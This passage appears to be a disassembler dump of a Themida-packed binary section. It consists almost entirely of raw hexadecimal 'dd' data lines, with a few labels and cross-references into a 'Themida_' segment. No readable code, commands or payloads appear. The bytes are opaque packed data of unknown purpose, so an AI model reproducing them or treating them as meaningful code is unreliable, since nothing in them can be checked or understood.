dd 9D4798FAh, 0B31C802Ah, 33613A53h, 20D9F16Ah, 11000000h
dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h, 96EE5780h
dd 6A569C75h, 0C014F1h, 464C0000h, 189E4B51h, 58E3B421h
dd 30D4216Eh, 72412286h, 8D8358A3h, 341EDBB8h, 8630D3E7h
dd 490FE2D9h, 0CDA24568h, 772401D8h, 0E88BAE7Fh, 75471E13h
dd 27FAF19Eh, 0EF8CA204h, 91868630h, 2E3DE8BAh, 4B6F5936h
dd 4A8C3A93h, 0E5CF8C69h, 80287E98h, 588DB091h, 0EEE2B5ABh
dd 26F3CA15h, 0BA8C5B30h, 7128FDF3h, 0A3F7E3B0h, 0FE7DC754h
dd 0CA000006h, 693002D1h, 6CD9F72h, 0A46B3D0Eh, 3C03D5B2h
dd 0CD9F7146h, 4D22188Ch, 0E6C1B47Bh, 80594D14h, 1BF2E7AEh
dd 9F33049h, 80253BBCh, 367E7CBDh, 80A9C858h, 0ABB7B58Ah
dd 0EB0C2AC7h, 59D5AB6Fh, 4C42678Ah, 0E9DEA577h, 7B4A1D14h
dd 5146F1A9h, 0FCF09D7Ah, 0DE01D823h, 9A71663Bh, 518CC8h
dd 60B40000h, 0C1A3C8F2h, 1D4927E4h, 54B09C66h, 0C8976860h
dd 0BE0243A5h, 22038C3Dh, 4F44F1D8h, 0A94A5578h, 645CCA61h
dd 0A2714893h, 635B08C5h, 0A3704792h, 51B3D6AFh, 86323D11h
dd 54320FF0h, 0C1B4CA1Ch, 0C6C49BE6h, 375AB3C8h, 434995h
dd 62710000h, 947E5BC9h, 8C38EF58h, 0A5766D1Ah, 0E90CDBAEh
dd 8D9FEACBh, 802A9B3Bh, 0D16BBB44h, 5D379B5Ah, 110983B6h
dd 3F7B6542h, 16924003h, 0B4276335h, 30000000h, 0FF3C8973h
dd 43368631h, 9EC1A268h, 5BC96288h, 4E51947Eh, 65468C3Eh
dd 35AA4934h, 522B5CA4h, 0CAF164E7h, 72h, 0A2583602h, 2B4805F3h
dd 0BDAEB7DAh, 9EE0CAA7h, 9B8C3E4Bh, 59E89BAh, 0E3A9F98Ah
dd 1E694236h, 0B38C2447h, 2BF164E4h, 46h, 5DC96263h, 0B6969465h
dd 64811D39h, 0A663400Fh, 0B2E03F9h, 3D8468A9h, 0AB88698Ch
dd 683506FEh, 79509B74h, 0DAB8CD56h, 0D889B522h, 32E13344h
dd 738B6D6Bh, 0EC071235h, 0E90262F3h, 0F1651A10h, 1A88h
dd 7936C000h, 31CD428Fh, 3F624386h, 31E624DDh, 21FAEE86h
dd 0FF191052h, 6238FFFFh, 0C17E5BC9h, 31CC8AD7h, 0B6AC8B86h
dd 0BAEF12E1h, 855A50FDh, 0DE40633Ah, 8C3E4ECBh, 3E1108B5h
dd 4B2A7761h, 4A2B8025h, 0DD280927h
db 24h
byte_595B05 db 7, 0EEh, 7Bh ; DATA XREF: Themida_:0053D828o
; Themida_:0053EB58o
dd 15B1DA80h, 0BE16634Dh, 2E0F8025h, 0C9B3905Fh, 86323E89h
dd 0A35CA788h, 0D5BF9C88h, 8C3DBF6Ah, 0B4613E1Fh, 6D18EABDh
dd 9F8966FEh, 8632408Ch, 22CFAC8Dh, 7F83552Eh, 1E57EC63h
dd 5741261Bh, 0EE0BA60Ah, 0E5321C0Bh, 0DEEE0BA5h, 67512EFDh
dd 0EE0BA61Ah, 996B3A1Bh, 2906DDD2h, 65B0877Ch, 0FC86B8Eh
dd 3F140A1Ch, 714E1DF4h, 12C83B87h, 0E593AF4h, 0F4AAFAC9h
dd 8F5628FFh, 9277C29Bh, 0F91CEDE5h, 0BF0ADDD4h, 520858C9h
dd 0EBA8855Eh, 10C7B401h, 0B1D4B5E8h, 0F5CCC087h, 8DBEFDFDh
dd 0DEBA5425h, 1EEDC40Fh, 0C89F9441h, 601D02A5h, 10722976h
dd 7C492AE8h, 8F66B186h, 0DF40616Ch, 3428D62Eh, 4590695Dh
dd 6F50706Eh, 17726DB7h, 62BE7648h, 401560CAh, 5429744Bh
dd 693E895Eh, 0E539E73h, 1337E73Fh, 28B212h, 988D5426h
dd 0CE7B90C1h, 0E3BA05D6h, 603FB5C0h, 8C39F74Fh, 0F4D1C396h
dd 3603D2A9h, 49206B40h, 350C0126h, 4C1D14EBh, 5E337E59h
dd 6F46916Ah, 7486D1A0h, 8631CD27h, 0D48ADAA9h, 61380ADDh
dd 4087BD83h, 0F81B778Dh, 0BB06DFD3h, 315E59A9h, 0B9665B86h
dd 0CEA5F0C1h, 9E5CA4ABh, 0FBFFD1AAh, 86317C6Ah, 0F0CAA2E2h
dd 7842F770h, 7AFFFFFFh, 0A87A5146h, 0E415ECE1h, 0E213EADFh
dd 702E7695h, 5FAC967Bh, 588631CCh, 145EA877h, 0F771683Bh
dd 3AB3h, 8936EB00h, 9D74BF92h, 6AFA717Ah, 4D63A38Dh, 81628C3Eh
dd 174F6550h, 35E2A8F8h, 3D466940h, 6F59362Eh, 8631CD2Fh
dd 3503AF7h, 48631CDh, 1E20023h, 386BB7h, 62930000h, 947E5BC9h
dd 8C3E4E54h, 38235435h, 8D6459B5h, 0A1786D42h, 0B68B8156h
dd 0A45AAA79h, 0B68DD8AFh, 459DE4E7h, 0DE6DA87h, 0DA4AE1EAh
dd 0CCD313FDh, 0D1B28631h, 5146BF87h, 655A2F7Ah, 1A11BC8Eh
dd 8B802D0Ah, 949269B4h, 571C82B5h, 0B1E60947h, 382943C7h
dd 651328Ch, 2A28A3F4h, 0B70F7880h, 69BFBD96h, 3D35F1h
dd 366D0000h, 0CD428F79h, 62438631h, 2F35363Fh, 0DE4C6852h
dd 6C4D8C38h, 0BBBE0F21h, 0C5B8802Ah, 0D4CA9FEAh, 6CAEB4FFh
dd 7BC6E7B7h, 0ED355E70h, 72D23B2Dh, 69CE8059h, 0FCF8F1h
dd 46300000h, 5A2F7A51h, 6F448F64h, 7358A37Ah, 0ADF8D3C6h
dd 998EB3D6h, 5C19F0C2h, 31CD2572h, 49241786h, 806127FEh
dd 0D175FB5Dh, 0E8DD8631h, 4B491C13h, 0CCA98926h, 0B28F5E52h
dd 442E0D05h, 8630F2F7h, 0F5400FF0h, 0FAD1FB1Eh, 3984554Dh
dd 251A3F62h, 0F3095640h, 290A8630h, 0BCC842Bh, 986771D5h
dd 411A0EBBh, 59FC1FF6h, 0BC998BA0h, 389902D2h, 2A14038Ch
dd 802A80DDh, 5426F5D6h, 0CA7382A9h, 847E4554h, 0DB886534h
dd 0F0C712E3h, 84AE98CDh, 85863439h, 241AC7A4h, 0DE0A5741h
dd 2A0B8622h, 0CCC2895Bh, 0E12C05F9h, 0DDC512FCh, 0DDBE8622h
dd 724F410Eh, 843FECA3h, 4CD99DFDh, 20C02h, 10DFD800h
dd 0AD80773Eh, 4B1C14DBh, 0E3C0B279h, 7F544A11h, 269ADBADh
dd 0C2895B30h, 5B22F4CFh, 0F5BC8E67h, 3E572900h, 36CA1701h
dd 8ACB8025h, 7B50468Ch, 16EDE2A9h, 0C9628C44h, 78947E5Bh
dd 118C38DEh, 1B663D32h, 182A7544h, 802ABBC7h, 0ADF8C9C1h
dd 0BB91DEC8h, 0B192802Ah, 0CE19EEE4h, 9941A1A2h, 0C5E63EA7h
dd 0F16A56ECh, 0FE64h, 79369C00h, 31CD428Fh, 3F624386h
dd 34E251Ah, 8663382Eh, 0CC92DFC9h, 0B2938631h, 54DAEC8Fh
dd 3E8631D1h, 0D9A07249h, 9C20DE4h, 0BD0AF462h, 0B68631C8h
dd 3F2906D5h, 8C38F86Fh, 3B08D6Eh, 15EC370Eh, 13F1C8F2h
dd 562CEFBh, 0B6456834h, 0EFC60C4h, 18131C3Fh, 0BC452F0Ch
dd 0BD86345Eh, 5C52FFDCh, 3EDAA87h, 862319B6h, 1961AE98h
dd 81628623h, 0F3BCABBBh, 87DBD543h, 0A46B95B8h, 1322D9AEh
dd 199DFD8Eh, 10F428Ch, 0E2DB0000h, 837A4113h, 1F17DEB0h
dd 0C3B57C4Eh, 574D14E6h, 9DDEB082h, 8C5E3329h, 25F7D2C5h
dd 0BF916A5Eh, 5A2C03F8h, 0CD1A0441h, 0C6802535h, 58368785h
dd 132BE5ACh, 0DDB8ABF2h, 0C9ECBB92h, 0FCD9AEA4h, 8BD0281Eh
dd 4B6EFCC0h, 0AF8D4A21h, 3B756912h, 6EBBC576h, 6786313Dh
dd 72BFA986h, 7386313Dh, 554A6F92h, 3E398670h, 593A8631h
dd 3600B88Ah, 0CD428F79h, 473C8631h, 884E2570h, 0EE5DAA7h
dd 0FAD1C6EBh, 2976601Dh, 2A8631CDh, 42504B49h, 74C1C2AFh
dd 0E4D9AE51h, 7F743B0Dh, 9963B09Ah, 83648631h, 261BE2B4h
dd 0FD94724Fh, 48DA64B7h, 0ACBE6184h, 0DF93E81Fh, 0B369B9BAh
dd 4D0AE7BEh, 0CED21663h, 3A15082Ch, 715218EFh, 685D244Eh
dd 7F714691h, 2DE7C5A2h, 7EA8824h, 68B59F7Ch, 612CCFA7h
dd 0E5BA5D80h, 0C7CD18F1h, 4DD49A71h, 3F36031Fh, 0B039216Ch
dd 9C6BA850h, 0CAA19644h, 653C31F8h, 3D01Ah, 67F80000h
dd 7E4D4667h, 92695E33h, 0A57E7247h, 0B792855Ah, 0CCA1976Ch
dd 0E1B6AC81h, 0F2CFC196h, 9DAD2A7h, 1FF2E9BEh, 895188D4h
dd 4BD55E1h, 1000000h, 0E9835DE9h, 240C8704h, 0E289525Ch
dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 286068h, 240C8900h
dd 82DDBF57h, 0FB89060Ch, 83243C8Bh, 0EC8304C4h, 24248904h
dd 4240481h, 59000000h, 0FA268h, 241C8900h, 0FF08418Fh
dd 81592434h, 4C4h, 241C8B00h, 81E18951h, 4C1h, 4C18100h
dd 87000000h, 0E95C240Ch, 0FFFBA890h, 101CA3A9h, 79EBD824h
dd 9FB8AF82h, 3060C98h, 1AE0FFC5h, 8911C038h, 0F96C89CEh
dd 317D2ECDh, 1C3371B5h, 5E1F1430h, 827D1F53h, 0EE473811h
dd 602C9091h, 47147323h, 29398E1Eh, 0E7011987h, 8D26C3F3h
dd 0C9A3F8Dh, 0CE906h, 0DAB20000h, 8E3B6BC8h, 942D3394h
dd 8D8901E8h, 6071AD9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 17C35343h, 8B517285h, 700F985h, 85C75F06h
dd 607101Dh, 6950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 39C35343h, 392DF69Ah, 0E486368Bh, 2E91B866h
dd 330585C7h, 607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0F54DBFC3h, 69B5FF0Bh
dd 29060704h, 70C059Dh, 5995FF06h, 6A060718h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 29B2C352h, 8BEFFB64h, 533A72DCh, 0D658509h, 6A5B0607h
dd 6995FF00h, 8B06070Dh, 0BC48EBC0h, 8AF10547h, 7F76BAF4h
dd 8905CF29h, 828D5252h, 0EFBF5DFBh, 5885250Fh, 204E7B3h
dd 70CBFC3Eh, 9F232810h, 0F9BD0E60h, 50667F4Dh, 70C19CE9h
dd 9ECC3576h, 0DF8B1069h, 2BFAFBB1h, 0C23B9FE4h, 60A2E4D0h
dd 8B7AAA2Bh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 6F47F624h, 40ABA8F6h, 890F512Fh
dd 3, 5ADEB70Fh, 1ACDBD83h, 75000607h, 35BD8309h, 60711h
dd 53501974h, 0FCB8C08Bh, 89000003h, 71F7D85h, 0C09D8D06h
dd 0FF0609ADh, 83585BD3h, 71135BDh, 17740006h, 0FCB85350h
dd 89000003h, 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 6A585BD3h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 84B4C353h, 16840Fh, 11E90000h, 1B000000h
dd 0D0C1FC3Ch, 8F00A32Dh, 0FB89BCDDh, 312C7C52h, 5E9C08Bh
dd 57000000h
dd 4E5F00D3h, 19BDBD83h, 0F010607h, 4E84h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0E2D0700Bh, 0D7DFDFBh, 81D98BA2h, 24067CF2h, 79BD8346h
dd 60728h, 15850Fh, 57B70000h, 3335BD83h, 0F000607h, 6384h
dd 8ED28100h, 0E97DDAACh, 3FAh, 11E9h, 0A50BDD00h, 0D2FD4EFBh
dd 290B61ECh, 4C4EA8C3h, 0B63Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 9A0FDEC3h
dd 6AF86Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 48591CC3h, 20C0906Ah, 6C523FFh, 392EA662h
dd 0BAA96DEBh, 0BCA33797h, 0BD58B33Fh, 721E87Ch, 955B77Bh
dd 98FAB579h, 43E8A260h, 6F284329h, 0BCA66515h, 0EDA34F7Eh
dd 0BCA326D7h, 7FFA059Fh, 98EFAC96h, 98E7A4E3h, 0BCA338F7h
dd 7FF264F9h, 5EE85827h, 50FA60Ah, 3DAC149Ah, 0BCA3259Dh
dd 54F6FF44h, 0BCA325E7h, 0D54EA4AEh, 0B3A52965h, 0BCA3247Dh
dd 0BCC9D97Eh, 0BCA0CD6Eh, 0E583259Fh, 0F02A7C0Ch, 0F82221C3h
dd 0BCBA21D7h, 0EDE225F9h, 12E87C3Fh, 0B322F74Eh, 0BCA322BBh
dd 0BD2E2A9Fh, 44A325CFh, 34ACE56Ch, 0BCA325F7h, 8E659F9Fh
dd 0EEF37509h, 8DACFCF4h, 0BCA336D6h, 0D1DF6C9Fh, 6BA33EFFh
dd 7D5563B6h, 0EA9F30F9h, 2D3BCD4h, 0B82A7DA6h, 0EBA34F5Ah
dd 0BCA326D7h, 7FFC059Fh, 98DFAC90h, 98E7A4E3h, 0BCA33FF7h
dd 7FF462F9h, 0E4C5D277h, 0B34A1224h, 4287693Eh, 8FD89FF9h
dd 0A4212A97h, 54A325E7h, 0BCA325E2h, 0A5C2CF22h, 0EDC60DBEh
dd 42812E5Ah, 56131175h, 0B9F8DDF7h, 0BCA327C3h, 54F3258Dh
dd 0BCA325F0h, 0E4607DD9h, 0B8876175h, 0B88761FFh, 0BCA32526h
dd 246075DFh, 0C337CF2Bh, 4265A540h, 0BCC92D78h, 0BCA0CDAAh
dd 0E78325FCh, 0E02A7EBDh, 0F822211Bh, 0BCB521BBh, 0EFE025CFh
dd 80217124h, 67142AA2h, 0F42843A3h, 0BE212A00h, 37A3257Eh
dd 0BCA29DE8h, 0EC56259Fh, 0BCA32B27h, 0F935BAE7h, 90FDFB11h
dd 0CFCFEB42h, 0E77EE91Eh, 0D68729F7h, 0BF4B773Fh, 9CA3259Fh
dd 35F9E695h, 3DA701B3h, 0ABA701B7h, 0FEA325F9h, 7EF4E6AEh
dd 7C5D92Ah, 0F4107E8Ah, 0D67AA9F9h, 0BF4B72CFh, 9CA325E7h
dd 35FCE6ACh, 3DA70185h, 0A4A701B8h, 0FBA3257Eh, 7B4FE668h
dd 552D09BCh, 0BCA325C3h, 19DAF154h, 98CA0F02h, 0ACFFDEDAh
dd 0B3A7E40Ah, 0BCA20AFBh, 0C569A43Fh, 0E5D2781Dh, 54F025A5h
dd 0BCA325E4h, 0E7607ED3h, 0B8877970h, 0B887617Dh, 0BCA32564h
dd 8B60767Ch, 0EC8A83CEh, 0B24AC41Dh, 0FA325E7h, 73F1F105h
dd 973A134Dh, 0A85C7C1h, 0B42B2A04h, 0B3A3253Fh, 0BCA32714h
dd 3CF876CFh, 39AC4DDEh, 0BCA324C2h, 54F62593h, 0BCA325FFh
dd 0E160785Eh, 0B88749B6h, 0B887611Eh, 0BCA325D2h, 0FB6070A2h
dd 0B977CACDh, 0D2B51199h, 0B1EA9E02h, 32AC1A7Ch, 0BCA3253Dh
dd 0C528D515h, 0ECA34FCEh, 0BCA3260Fh, 7FFB05F3h, 98E7ACA1h
dd 98E7A4F8h, 0BCA3327Ah, 7FF3653Fh, 52217B83h, 0EE41A4A9h
dd 0BC5CA423h, 0B32325F3h, 0BCA3E97Bh, 0EEA34FFCh, 0BCA32696h
dd 7FF9053Fh, 98F7ACC5h, 98E7A4CBh, 0BCA333E3h, 7FF167F3h
dd 557F1A0Bh, 0BCA325EFh, 0AF5F8394h, 80CC68D6h, 0FEFF486Fh
dd 578564C2h, 3C547AD8h, 6C5F915h, 39649553h, 0BAAFBE3Fh
dd 0BCA3257Fh, 1B4AFCB4h, 0D6A3259Fh, 0BF4B74CFh, 9CA325E7h
dd 35FAE6AAh, 3DA701B5h, 0A5A701B8h, 0FDA3257Eh, 8470E66Eh
dd 6389B2ADh, 0BCA37D26h, 0E65F73E7h, 0BCA8CCAAh, 2A8C25F9h
dd 87F8CF29h, 128BBE0h, 0C52043EBh, 38ACDA94h, 0BCA325F6h
dd 0BCA0A4E8h, 37C525F3h, 6C284320h, 2760A03Bh, 0BCA22372h
dd 0BCC9253Fh, 0BCA0CDCCh, 0E78325CFh, 0E02A7E24h, 0F82221D7h
dd 0BCB821DDh, 0EFE025FCh, 211145BDh, 50745077h, 0BCC96DABh
dd 0BCA0CD98h, 0E38325E7h, 0C02A7A30h, 0F82221DDh, 0BCB921D8h
dd 0EBE4257Eh, 3E725CFCh, 0F5949F08h, 7C5FC45h, 0C91AF5F3h
dd 31DF64E1h, 0B002E07Ch, 7F1EA8FAh, 87A529E1h, 8CA451C7h
dd 0FB6AF490h, 0BCC9D024h, 0BCA0CDB1h, 0E28325F3h, 0C82A7B3Ah
dd 0F82221D8h, 0BCBE215Ah, 0EAE5253Fh, 6E44045Ch, 0BB0A81B1h
dd 0EE94CB24h, 0B54A7F06h, 3CA325F9h, 14AE76E5h, 48192716h
dd 54F62555h, 0BCA3259Ch, 0E16078EFh, 0B887496Eh, 0B8876172h
dd 0BCA325E0h, 616070B9h, 0EFFB8068h, 0BF282AFDh, 3CA3259Fh
dd 120EF19h, 0BAA43C5Ah, 0CE272AF2h, 0D6A325F9h, 0BF4B74FCh
dd 9CA3257Eh, 35FAE666h, 3DA701D3h, 0A7A7018Bh, 0FDA325E7h
dd 0F29EE6A2h, 0B90A87B6h, 37C5141Fh, 0C51EA6ADh, 0BCA52217h
dd 0BC9CA090h, 0DCF425CFh, 3883D466h, 37C52E31h, 3FF9442Ah
dd 0BB901041h, 38AC2578h, 0BCA32571h, 54F125F5h, 0BCA325CCh
dd 0E6607FC7h, 0B887717Ah, 0B8876178h, 0BCA325E0h, 0C760773Ch
dd 7DADF9D8h, 9808F96Dh, 0BC6CCC37h, 54C325E7h, 0BCA325E0h
dd 0FD4C34E0h, 42DA4ACCh, 0FF820AA9h, 0ED71458Ch, 370DB1E4h
dd 3DAC7F15h, 0BCA325E6h, 1204406h, 0BAA43C44h, 0C5262AFDh
dd 36A3257Eh, 0BCC978C3h, 0BCA0CDCCh, 0E78325CFh, 0E02A7E24h
dd 0F82221D7h, 0BCB721DDh, 0EFE025FCh, 6F28C1BDh, 7F73AE59h
dd 0BCA32977h, 23FFBDCFh, 0C9F261C4h, 0A56BDDC5h, 0E653AF72h
dd 0BCA34515h, 0E9A34F7Eh, 0BCA326D7h, 7FFE059Fh, 98CFAC92h
dd 98E7A4E3h, 0BCA339F7h, 7FF660F9h, 98653B6Dh, 3B8F6FF8h
dd 0BCB3CC25h, 6F38259Fh, 0AAB0960Bh, 7CA19BA4h, 9548CDDDh
dd 6628229Ah, 44F045A1h, 0DD7DAE20h, 0BCAFCDF0h, 6242259Fh
dd 4CA33B4Ch, 68AE8286h, 0B94A6590h, 87A325F9h, 153F7471h
dd 0B91EA824h, 31A529A3h, 0B002B712h, 0E0BE9DC9h, 39905EDDh
dd 0BAA425FEh, 5562EAD2h, 64E1C91Ah, 0E07C31DFh, 0A8FAB002h
dd 29E17F1Eh, 51C787A5h, 0F4908CA4h, 5E9836Ah, 0BD83A4F3h
dd 60C9BC3h, 8D0D7400h, 74B9B8Dh, 1B806h, 0E1FF0000h, 50006A40h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 999A8A77h, 8AAF7307h, 68B0FF5h, 81000000h, 0A64C4C3h
dd 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 8CB8AB20h, 2B97C9E8h, 7CB75583h, 6A2DE883h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 9160C355h, 2F00BA2h, 6DD680F2h, 13E9C08Bh
dd 67000000h, 0AA3E88B8h, 0E41DA19Fh, 2A50059h, 4C60ED55h
dd 0BD839909h, 6071ACDh, 83097500h, 71135BDh, 19740006h
dd 0C08B5350h, 3FCB8h, 81858900h, 8D06072Fh, 9AE279Dh
dd 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 3FCB8h, 81858900h
dd 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 4B49BA58h, 820F7643h
dd 4, 443ABA66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 58C35646h, 8DC08B09h, 0CA3B18Dh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 57863B23h, 38E0FB9h, 0F000000h, 5651FEB7h, 5E5F6DB3h
dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0DD2A6DC3h, 0E6D3FD29h, 101D85C7h
dd 6D900607h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0EEA4C5C3h
dd 1E1D958Bh, 85C70607h, 6073305h, 0
dd 0F303C881h, 0B5FF38E6h, 6072D31h, 0E23BEA81h, 95FF6F70h
dd 6071859h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 8CC35747h, 8B650AB1h, 727F985h, 0FF006A06h, 70D6995h
dd 0EBC08B06h, 0A9B11D0Ah, 0E1BB654Ah, 0EB77AD4Ah, 2F5BF08h
dd 0E7339C6Dh, 0CE0E977h, 51680000h, 0E9060CA5h, 0FFFAD9ABh
dd 0CA67368h, 0D9A1E906h, 0F68FFFAh, 0E9060CA8h, 0FFFAD997h
dd 0CA93668h, 0D98DE906h, 9868FFFAh, 0E9060CAAh, 0FFFAD983h
dd 0CACB868h, 0D979E906h, 6068FFFAh, 0E9060CAEh, 0FFFAD96Fh
dd 0CAF6868h, 0D965E906h, 0DC0DFFFAh, 0E10DB449h, 0DC0AB146h
dd 0D605AC41h, 0CCFFA63Bh, 0F109A439h, 0DD720336h, 0D76C0936h
dd 0CE63FE30h, 0CB60F727h, 31A290FEh, 7C43974Eh, 0FC2C9365h
dd 0B3BC269h, 0CB3527Eh, 933BB3ABh, 8627D5F7h, 0FF8750E5h
dd 0D9837107h, 9447A2D8h, 0E14E1AC1h, 0E439CA8h, 832C1D2Bh
dd 71CAB453h, 1FB60664h, 5376h, 0EE9E00h, 439CB08Fh, 511D07DAh
dd 0F48A820Ah, 98821D4Bh, 120A290h, 784B47A3h, 710C39E2h
dd 35A26E87h, 62439CE1h, 5CF729D2h, 0D7321CB5h, 0F255D849h
dd 0C83927E1h, 13439C97h, 0AC89D740h, 50C853Dh, 4EEF7927h
dd 0AACA0B64h, 0D2101FB6h, 74000000h, 0C269FC2Ch, 0BE598B34h
dd 93947E17h, 971EC560h, 0B73AD067h, 0F4BF144Fh, 6D0834E0h
dd 0D74836CCh, 2249A3B2h, 0C54C654Fh, 50E11495h, 902E1AAFh
dd 3449A3AEh, 0C9568304h, 0BE5F009Bh, 0B3528229h, 0A9D57E0Ch
dd 0E4CE670Eh, 0AB4139C1h, 0A2BF83BDh, 0B64B1E47h, 0D76D65EDh
dd 0B4517E27h, 0F0D784CAh, 0CFA24194h, 0C45D9039h, 0BC55882Fh
dd 7F401CE6h, 0E8FBEF0h, 0AD0h, 760BAADBh, 6F04A3CFh, 6AFF9AC8h
dd 64F994C3h, 62F78ABDh, 0C1F4AFC7h, 0C7F49B30h, 0C0F2992Eh
dd 0B9E99025h, 4EBC891Eh, 974CEF60h, 51233A43h, 16877525h
dd 6149A3F2h, 70A3A48Eh, 63963FD5h, 7C1DB8E4h, 832ABDEDh
dd 52F900EAh, 40EE8322h, 0DF917FBDh, 705A06CCh, 8A820AA4h
dd 0E55644F4h, 3049A3F1h, 7D6B735Dh, 47A2FFFBh, 9D386526h
dd 15BC5DF6h, 9CDFDC49h, 54ED2043h, 5BFA26ADh, 66012DB4h
dd 0FD39079Ah, 0EC1EC757h, 0A146F59h, 0B5D311C4h, 0C8CB1Fh
dd 252F0000h, 26F222A2h, 6DD68D3Ah, 9D33D153h, 0E6E7D14Ah
dd 0EA781FB6h, 47A38767h, 4F3945DDh, 0E38A1B4Eh, 0A3AF7917h
dd 78661649h, 49A3AE07h, 94957F52h, 18B7E364h, 0A237D871h
dd 852CCBFBh, 0C65C54DCh, 0AEB72816h, 2F0249A3h, 154F3D45h
dd 0B047A2C0h, 0F77F48DDh, 8FAB1C0Ah, 23F6439Ch, 2ACB6694h
dd 0F49EA694h, 14D54194h, 0CA54CE5h, 0F92CD56Bh, 9B04D7Ah
dd 933ACF70h, 1BEFC560h, 9FF07F5Ch, 9AEEF70h, 88B90000h
dd 85B158EDh, 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h
dd 71069FD2h, 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h
dd 1043974Ch, 0F92C27F9h, 39FF11A0h, 0ED8E2064h, 0E681B158h
dd 0FC2CDF51h, 0B3BC269h, 860ED76Ch, 100AF88Eh, 2B47A309h
dd 0F69D386Ah, 8715BC5Dh, 0D878E9D7h, 0F0C3439Ch, 0D852C006h
dd 9C7F439Ch, 0D6894C92h, 47531FB5h, 7B000006h, 9ADFC8F8h
dd 8D26CD68h, 0EBCE2324h, 820A3501h, 2671F48Ah, 0F95A901Dh
dd 0D54634CAh, 2049A3A8h, 6D5B634Dh, 47A2AD37h, 50EF1BC4h
dd 2C2610A9h, 7424B259h, 9C9C1586h, 0A38D6043h, 9C9BF05Dh
dd 0EC3A1D43h, 0B611EBEAh, 5F8F11Fh, 0A550000h, 6F48A82h
dd 47A2F6E4h, 4915BC8Fh, 439CE6DCh, 0D6182609h, 1FB5C7FFh
dd 5D9DDh, 67550500h, 439CEDF6h, 0B8846E41h, 0F67EC03Eh
dd 0D07A68FEh, 8B47A2F8h, 0BA6331B8h, 0BE04EE87h, 0C7A9CEF8h
dd 740A028Ah, 86B8AC86h, 0DA06C7B5h, 5AFB943Bh, 0B52614C4h
dd 1FB180B8h, 0FC8765C7h, 0FFD25A99h, 0CB53FC15h, 66943DD3h
dd 0A89624CBh, 0B1800737h, 7F0EAF82h, 760FB651h, 4A96848Ch
dd 3AF7EFEh, 0BAE0D280h, 912776E7h, 780232A3h, 0C0AA7DABh
dd 39BD2BC6h, 0F2993463h, 687FF059h, 0C8780EAFh, 0AE55F01Fh
dd 0FA2A2B15h, 56077866h, 7F52AB78h, 42C548DEh, 6F90C4D1h
dd 70DAA000h, 1DD5507h, 1A84572h, 0D0777E68h, 0A12F05A0h
dd 99624515h, 812E96Ah, 0EC1D0000h, 0F11DC459h, 0EC1AC156h
dd 0E615BC51h, 0DC0FB64Bh, 119B449h, 0ED821346h, 0E77C1946h
dd 0DE730E40h, 0DB700737h, 41B2A00Eh, 8C43974Ah, 0FC2CA375h
dd 0EAF4E7Bh, 4A3CF78h, 0C1DAC45Dh, 77AA9018h, 24A73DDEh
dd 60EA0F6Ah, 0BEC6B09Eh, 974921D0h, 8015E847h, 97481794h
dd 0F7862943h, 0D29B30C7h, 0D3C1574Bh, 4397486Ah, 0A42BD2A5h
dd 38C1F374h, 3BD1720Bh, 9748DC4Dh, 0B3542743h, 48D5321Eh
dd 49F24397h, 0C831B71Ah, 630EAB95h, 0A5D7D8C2h, 1FCF7D12h
dd 977CC031h, 9E0FFD43h, 0E943977Ch, 0D1BB8E16h, 5E05A0D0h
dd 0FE2C2592h, 0FB4580B9h, 0F58A1D4Dh, 66991E4Eh, 0B7832ACBh
dd 43979C4Ah, 1604B4AAh, 43977CA5h, 931BB6E9h, 0AD7BD6C0h
dd 1FB45383h, 0FF9AC871h, 0DAD5BF58h, 120h, 9E396B14h
dd 0FC2CE8B4h, 93BC269h, 8AFBC76Eh, 0CE49A3F2h, 0B760079Eh
dd 0E92C6F2Fh, 0BCB77692h, 0B354F590h, 0A3802F1Dh, 89394796h
dd 96A32A9Bh, 82B47543h, 6A644EEFh, 1D05C197h, 0B6E5FA63h
dd 6EB35h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h
dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h
dd 0DDAA3FD6h, 4910816Fh, 445B4397h, 69FC2C72h, 5FFE2AD3h
dd 0A2D55C75h, 0DBC9790Fh, 49A3F26Ah, 8EFFEDB5h, 0D949A3F2h
dd 0AAD66506h, 0E1CB640Bh, 660133DAh, 66FA2AD1h, 0A3F20778h
dd 0E97F5249h, 0A3F28AFBh, 6102D549h, 5FF225CCh, 4F812AB8h
db 0B4h, 0CAh
word_59716A dw 96C9h ; DATA XREF: Themida_:0053F6B8o
dd 3DA354FBh, 0E2CC6594h, 5C8FB987h, 0A03534C9h, 3A19AEC0h
